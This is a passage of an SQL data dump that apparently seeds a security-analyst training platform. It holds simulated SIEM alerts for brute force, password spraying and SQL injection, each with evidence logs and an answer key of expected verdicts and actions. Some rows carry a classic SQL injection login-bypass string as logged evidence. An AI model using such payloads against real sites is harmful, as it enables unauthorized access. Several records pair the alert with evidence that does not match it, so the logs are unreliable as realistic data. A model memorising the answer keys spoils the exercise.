systems\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity is legitimate, originating from a known user and IP.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.979Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:59Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.50\\\",\\\"dst_ip\\\":\\\"192.168.0.60\\\",\\\"username\\\":\\\"authorized_user\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-03-15T20:57:15.979Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:59Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.50\\\",\\\"dst_ip\\\":\\\"192.168.0.60\\\",\\\"username\\\":\\\"authorized_user\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-03-15T20:56:15.979Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:59Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.50\\\",\\\"dst_ip\\\":\\\"192.168.0.60\\\",\\\"username\\\":\\\"authorized_user\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-03-15T20:55:15.979Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:59Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.50\\\",\\\"dst_ip\\\":\\\"192.168.0.60\\\",\\\"username\\\":\\\"authorized_user\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":0}\"},{\"timestamp\":\"2026-03-15T20:54:15.979Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:05:59Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.50\\\",\\\"dst_ip\\\":\\\"192.168.0.60\\\",\\\"username\\\":\\\"authorized_user\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":0}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1687, 'Password Spraying Attack Detected on Internal Web Portal', 'high', 'Splunk', 'Multiple failed login attempts detected from a foreign IP address targeting the internal web portal. This indicates a potential password spraying attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T05:34:22Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.1.1.5\",\"username\":\"jdoe\",\"hostname\":\"webportal01\",\"request_body\":null,\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the web portal\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"Internal user account involved in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP has a history of brute force attempts, confirming the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.981Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:34:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.1.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.981Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:34:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.1.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.981Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:34:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.1.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.981Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:34:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.1.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.981Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:34:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"10.1.1.5\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1688, 'SSH Brute Force Spike Detected', 'critical', 'Elastic SIEM', 'A significant increase in SSH login failures from an external IP indicates a brute force attack against the server.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T07:45:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.100\",\"username\":\"admin\",\"hostname\":\"server01\",\"request_body\":null,\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple SSH brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"Commonly targeted admin account\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"IP has a history of malicious activity, confirming its involvement in the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.983Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.983Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.983Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.983Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.983Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1689, 'Unusual Login Attempt Detected', 'medium', 'Azure Sentinel', 'A login attempt from a previously unseen IP address was detected on an administrator account.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:12:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.5\",\"dst_ip\":\"10.2.2.20\",\"username\":\"administrator\",\"hostname\":\"adserver01\",\"request_body\":null,\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP previously reported for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"High-value target user account\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.2.2.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the administrative server\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP\'s history of unauthorized access confirms the attack vector.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.5\\\",\\\"dst_ip\\\":\\\"10.2.2.20\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"adserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.5\\\",\\\"dst_ip\\\":\\\"10.2.2.20\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"adserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.5\\\",\\\"dst_ip\\\":\\\"10.2.2.20\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"adserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.5\\\",\\\"dst_ip\\\":\\\"10.2.2.20\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"adserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.5\\\",\\\"dst_ip\\\":\\\"10.2.2.20\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"adserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1690, 'Failed SSH Login from Known Safe Network', 'low', 'Wazuh', 'A failed SSH login attempt was detected from a known safe network. No further activity was observed.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:23:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.0.2.0\",\"dst_ip\":\"10.0.0.10\",\"username\":\"user1\",\"hostname\":\"sshserver01\",\"request_body\":null,\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.0\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"IP belongs to a trusted network and shows no signs of malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the SSH server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is from a known safe network, indicating a benign activity.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.988Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.0\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"sshserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.988Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.0\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"sshserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.988Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.0\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"sshserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.988Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.0\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"sshserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.988Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.0\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"sshserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1691, 'SQL Injection Attempt on Public-Facing Web Application', 'critical', 'Splunk', 'An SQL injection attempt was detected on the public-facing web application. The payload suggests an attempt to bypass authentication.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:11:30Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"10.0.0.50\",\"hostname\":\"webapp01\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 512 times for SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the web application\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection payload attempting authentication bypass\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload is a known SQL injection technique, confirming malicious intent.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.990Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:11:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.990Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:11:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.990Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:11:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.990Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:11:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.990Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:11:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1692, 'Unusual Activity Detected: Possible Internal Reconnaissance', 'medium', 'Elastic SIEM', 'A series of failed login attempts from an internal IP indicates potential reconnaissance or credential stuffing.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:52:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.5.5.5\",\"dst_ip\":\"10.5.5.10\",\"username\":\"user2\",\"hostname\":\"host01\",\"request_body\":null,\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.5.5.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of suspected reconnaissance source\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.5.5.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal target IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"user2\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The pattern of activity suggests credential stuffing or reconnaissance.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, 